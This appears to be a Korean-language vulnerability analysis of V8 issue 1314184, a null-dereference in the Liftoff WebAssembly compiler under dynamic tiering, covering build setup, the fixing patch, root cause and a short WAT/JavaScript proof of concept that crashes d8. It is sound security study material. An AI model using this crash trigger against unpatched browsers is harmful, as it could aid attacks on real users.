Issue 1314184 (Null-dereference in Liftoff)

Environment Setting

Patch: 8072d31ab6f0c3b9f0becca58fb225dfc6dd7100

WABT: The WebAssembly Binary Toolkit

# install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo -e '\nexport PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc

# get V8
cd ~
mkdir V8
cd V8
fetch v8
cd v8
git checkout ed8e8b949a92f7c35a10fd44f065b3b7b1834f5a
gclient sync -D

# build V8
./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false'
gn gen out/release --args='is_debug=false'
ninja -C out/debug d8
ninja -C out/release d8

# install gdb plugin
echo -e '\nsource ~/V8/v8/tools/gdbinit' >> ~/.gdbinit

# install wabt
cd ~
git clone https://github.com/WebAssembly/wabt/
cd wabt
git submodule update --init
make
export PATH=$HOME/wabt/out/clang/Debug:$PATH
echo -e '\nexport PATH=$HOME/wabt/out/clang/Debug:$PATH' >> ~/.zshrc

Prerequisite Knowledge

Liftoff (WebAssembly baseline compiler)

Liftoff는 V8 version 6.9부터 desktop에서 기본으로 활성화된 WASM baseline compiler입니다.

Liftoff가 추가되기 전까지는 Turbofan이 WASM 컴파일을 담당했었습니다. Turbofan은 그래프 기반의 intermediate representation (IR)을 바탕으로 코드를 최적화하는 강력한 컴파일러입니다. 다양한 최적화 옵션 덕분에 컴파일된 코드의 실행 성능이 뛰어나다는 장점이 있지만, 컴파일 속도가 느려서 WASM 기반 앱의 startup time이 늦어진다는 단점이 있습니다.

Liftoff의 최우선 목표는 Turbofan의 단점을 보완하는 것으로, 실행 성능은 제쳐두고 일단 코드를 최대한 빠르게 생성하여 startup time을 빠르게 하는 것입니다.

Liftoff는 one-pass compiler로, decode된 WASM 코드를 한 번만 훑으면서 각각의 instruction에 대해 즉시 machine code를 생성합니다. Compiler이지만 마치 interpreter처럼 동작하기 때문에 최적화는 거의 들어가지 않지만 컴파일 속도가 매우 빠릅니다.

Liftoff에서 컴파일한 코드는 block들로 구성됩니다. Block은 control flow graph의 node에 해당한다고 이해할 수 있습니다. 각각의 block은 control stack을 가지고, 여기에 stack과 register의 상태를 표현하는 cache state를 저장합니다.

위의 WAT(WebAssembly Text) format으로 표현된 예시 코드는 조건문, 반복문, 분기문 등이 없기 때문에 하나의 block으로 구성됩니다.

함수가 시작될 때 calling convention에 따라 두 개의 argument가 각각 rax와 rdx에 저장되어 있고, 이 값들을 get_local로 가져와서 stack에 push합니다. 그런데 Liftoff는 get_local instruction에 대해 아무런 코드도 생성하지 않습니다. 즉 가상의 stack에 rax와 rdx의 값이 저장된 것으로 state를 기록하기만 할 뿐, 실제로 stack에 값이 push되지는 않습니다.

그 이후에 i32.add를 위해 stack에서 두 개의 값을 pop합니다. 이 경우에도 실제로 pop하지는 않고, 기록된 state에 따라 rdx와 rax의 값을 가져오게 됩니다. 이 두 값을 더한 결과를 register에 저장해야 하는데, rax와 rdx는 함수의 argument를 저장하고 있기 때문에 사용할 수 없고, 이 경우에는 rcx를 사용합니다.

end에서는 stack에 하나의 값만 남아 있어야 합니다. 이 경우에는 i32.add 연산의 결과인 rcx가 남아 있습니다. 함수의 return value는 rax에 저장되어야 하기 때문에 이제는 rcx의 값을 rax로 옮긴 후 함수를 return합니다.

이 과정을 실제 코드에서 살펴보면 다음과 같습니다.

/* test.js */

let wasmCode = read('test.wasm', 'binary');
let wasmModule = new WebAssembly.Module(wasmCode); // compile with liftoff

$ cat test.wat
(func (export "main") (param $lhs i32) (param $rhs i32) (result i32)
    local.get $lhs
    local.get $rhs
    i32.add)

wat2wasm test.wat # output: test.wasm
./v8/out/debug/d8 --shell --trace-liftoff --trace-wasm-decoder --print-wasm-code test.js

V8은 WebAssembly code를 컴파일할 때 dynamic tiering을 사용합니다. Baseline compiler인 Liftoff가 먼저 함수를 빠르게 컴파일하여 startup time을 줄이고, 함수가 자주 호출되면(hot) Turbofan이 함수를 다시 컴파일하여 최적화된 코드를 생성합니다. JavaScript code를 컴파일할 때 interpreter인 Ignition과 Turbofan의 관계와 비슷하게 이해할 수 있습니다.

Analysis

Patch

diff --git a/src/wasm/baseline/liftoff-compiler.cc b/src/wasm/baseline/liftoff-compiler.cc
index 9d9509c..34b51e3 100644
--- a/src/wasm/baseline/liftoff-compiler.cc
+++ b/src/wasm/baseline/liftoff-compiler.cc
@@ -2638,16 +2637,26 @@
           decoder->control_at(depth)->br_merge()->arity);
     }

-    Register scratch_reg = no_reg;
-    if (dynamic_tiering()) {
-      scratch_reg = __ GetUnusedRegister(kGpReg, {}).gp();
-    }
     Label cont_false;

     // Test the condition on the value stack, jump to {cont_false} if zero.
     JumpIfFalse(decoder, &cont_false);

-    BrOrRetImpl(decoder, depth, scratch_reg);
+    // As a quickfix for https://crbug.com/1314184 we store the cache state
+    // before calling {BrOrRetImpl} under dynamic tiering, because the tier up
+    // check modifies the cache state (GetUnusedRegister,
+    // LoadInstanceIntoRegister).
+    // TODO(wasm): This causes significant overhead during compilation; try to
+    // avoid this, maybe by passing in scratch registers.
+    if (dynamic_tiering()) {
+      LiftoffAssembler::CacheState old_cache_state;
+      old_cache_state.Split(*__ cache_state());
+      BrOrRetImpl(decoder, depth);
+      __ cache_state()->Steal(old_cache_state);
+    } else {
+      BrOrRetImpl(decoder, depth);
+    }
+
     __ bind(&cont_false);
   }

Dynamic tiering이 활성화되어 있을 경우, WebAssembly의 br_if instruction을 처리하는 BrIf() 함수에서 BrOrRetImpl()을 호출하기 전에 cache state를 old_cache_state에 백업해 두고 호출이 끝난 후 다시 restore하도록 패치되었습니다.

Bug

/* v8/src/wasm/baseline/liftoff-compiler.cc */

  void BrIf(FullDecoder* decoder, const Value& /* cond */, uint32_t depth) {
    // Before branching, materialize all constants. This avoids repeatedly
    // materializing them for each conditional branch.
    // TODO(clemensb): Do the same for br_table.
    if (depth != decoder->control_depth() - 1) {
      __ MaterializeMergedConstants(
          decoder->control_at(depth)->br_merge()->arity);
    }

    Register scratch_reg = no_reg;
    if (dynamic_tiering()) {
      scratch_reg = __ GetUnusedRegister(kGpReg, {}).gp();
    }
    Label cont_false;

    // Test the condition on the value stack, jump to {cont_false} if zero.
    JumpIfFalse(decoder, &cont_false);

    BrOrRetImpl(decoder, depth, scratch_reg);
    __ bind(&cont_false);
  }

  void BrOrRetImpl(FullDecoder* decoder, uint32_t depth, Register scratch_reg) {
    if (depth == decoder->control_depth() - 1) {
      DoReturn(decoder, 0);
    } else {
      BrImpl(decoder, decoder->control_at(depth), scratch_reg);
    }
  }

  void DoReturn(FullDecoder* decoder, uint32_t /* drop_values */) {
    if (FLAG_trace_wasm) TraceFunctionExit(decoder);
    TierupCheckOnExit(decoder);
    size_t num_returns = decoder->sig_->return_count();
    if (num_returns > 0) __ MoveToReturnLocations(decoder->sig_, descriptor_);
    __ LeaveFrame(StackFrame::WASM);
    __ DropStackSlotsAndRet(
        static_cast<uint32_t>(descriptor_->ParameterSlotCount()));
  }

  void TierupCheckOnExit(FullDecoder* decoder) {
    if (!dynamic_tiering()) return;
    TierupCheck(decoder, decoder->position(), __ pc_offset(), no_reg);
    LiftoffRegList pinned;
    LiftoffRegister budget = pinned.set(__ GetUnusedRegister(kGpReg, pinned));
    LiftoffRegister array = pinned.set(__ GetUnusedRegister(kGpReg, pinned));
    LOAD_INSTANCE_FIELD(array.gp(), TieringBudgetArray, kSystemPointerSize,
                        pinned);
    uint32_t offset =
        kInt32Size * declared_function_index(env_->module, func_index_);
    __ Fill(budget, liftoff::kTierupBudgetOffset, ValueKind::kI32);
    __ Store(array.gp(), no_reg, offset, budget, StoreType::kI32Store, pinned);
  }

#define LOAD_INSTANCE_FIELD(dst, name, load_size, pinned)                      \
  __ LoadFromInstance(dst, LoadInstanceIntoRegister(pinned, dst),              \
                      WASM_INSTANCE_OBJECT_FIELD_OFFSET(name),                 \
                      assert_field_size<WASM_INSTANCE_OBJECT_FIELD_SIZE(name), \
                                        load_size>::size);

br_if instruction을 처리할 때 BrIf() → BrOrRetImpl() → DoReturn() → TierupCheckOnExit() → LOAD_INSTANCE_FIELD() 순으로 호출됩니다. LOAD_INSTANCE_FIELD()는 LoadInstanceIntoRegister()를 호출하여 WASM instance object를 dst register로 가져옵니다.

/* v8/src/wasm/baseline/liftoff-compiler.cc */

  Register LoadInstanceIntoRegister(LiftoffRegList pinned, Register fallback) {
    Register instance = __ cache_state()->cached_instance;
    if (instance == no_reg) {
      instance = __ cache_state()->TrySetCachedInstanceRegister(
          pinned | LiftoffRegList{fallback});
      if (instance == no_reg) instance = fallback;
      __ LoadInstanceFromFrame(instance);
    }
    return instance;
  }

먼저 cached_instance를 가져와서 이미 cache된 WASM instance object가 있는지 확인합니다. (if (instance == no_reg)) 만약 없으면 TrySetCachedInstanceRegister()를 호출하여 instance를 register에 저장합니다.

여기서 문제가 발생하는데, WASM 코드를 컴파일하는 과정이 아니라 dynamic tiering에서의 tier up check 과정에서 cache state가 변한다는 점입니다. br_if를 처리하기 시작한 시점에는 register에 없었던 WASM instance object가 tier up check 과정에서 register에 저장된 것입니다.

만약 br_if 이후에 WASM instance에 접근해서 값을 읽거나 쓰는 instruction(memory.size, memory.grow 등)이 있다면, instance의 주소가 저장된 register의 값을 가져와야 합니다. 하지만 이 register는 실제로는 사용 중이 아니기 때문에 값이 0일 것이고, Null-dereference로 segmentation fault가 발생하게 됩니다.

Proof of Concept

regress-1314184.js

$ cat poc.wat
(module (memory 1 2)
    (func (export "main")
        i32.const 0
        i32.const 0
        memory.grow
        i32.eq
        br_if 0
        memory.size
        return
    )
)

/* poc.js */

let wasmCode = read('poc.wasm', 'binary');
let wasmModule = new WebAssembly.Module(wasmCode); // compile with liftoff
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;

wat2wasm poc.wat # output: poc.wasm
./v8/out/debug/d8 --allow-natives-syntax --shell --trace-liftoff --trace-wasm-decoder --print-wasm-code poc.js

main()이 시작될 때부터 rsi에는 wasmInstance의 주소가 저장되어 있고, memory.grow instruction이 rsi를 0으로 만드는 역할을 합니다.

br_if 직후의 memory.size는 wasmInstance의 memory_size에 접근을 시도합니다. 이 값은 wasmInstance에서 offset 0x20에 위치합니다.

br_if를 처리하는 과정에서의 버그로 인해, memory.size가 실행되는 시점에 rsi는 사용 중이 아니지만 state가 잘못 cache되어 바로 rsi + 0x1f에 접근하도록 컴파일되고, segmentation fault가 발생합니다.

/* poc.js */

let wasmCode = read('poc.wasm', 'binary');
let wasmModule = new WebAssembly.Module(wasmCode); // compile with liftoff
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
main();

References

• WebAssembly Baseline Compiler - clemensh
• WebAssembly Reference Manual - sunfishcode
• WebAssembly compilation pipeline - V8 docs
• Liftoff: a new baseline compiler for WebAssembly in V8 - V8 blog
• WebAssembly Dynamic Tiering ready to try in Chrome 96 - V8 blog
• Issue 1314184: v8_wasm_compile_fuzzer: Null-dereference WRITE in v8::internal::Simulator::WriteW
• [liftoff] Fix illegal state updates in conditional tierup check